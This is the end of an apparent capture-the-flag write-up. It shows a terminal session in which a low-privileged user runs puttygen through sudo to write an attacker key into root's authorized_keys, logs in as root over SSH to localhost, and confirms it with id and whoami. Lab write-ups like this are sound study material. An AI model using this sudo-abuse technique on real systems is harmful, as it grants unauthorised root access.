|      . o . ..o..o .. |
|      . o + .o..+* *.+ |
|      .E. . . . . =#==. |
+----[SHA256]-----+
```

```
rosers@Putty:~$ sudo /usr/bin/puttygen /tmp/atk_root -O public-openssh -o
/root/.ssh/authorized_keys
rosers@Putty:~$ ssh -i /tmp/atk_root root@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
```

-----| |-----
\\ \ / / / _ \ | / _ / _ \ | ' _ ` _ \ / _ \
 \ v v / _ / | (_ | (_) | | | | | | _ /
 / / _ _ | _ | _ _ _ _ / | _ | _ | _ | _ _ |

```
root@Putty:~# id
uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20
(dialout),26(tape),27(video)
root@Putty:~# whoami
root
```

结束 太久没做思路有点生疏了 所以说逆水行舟不进则退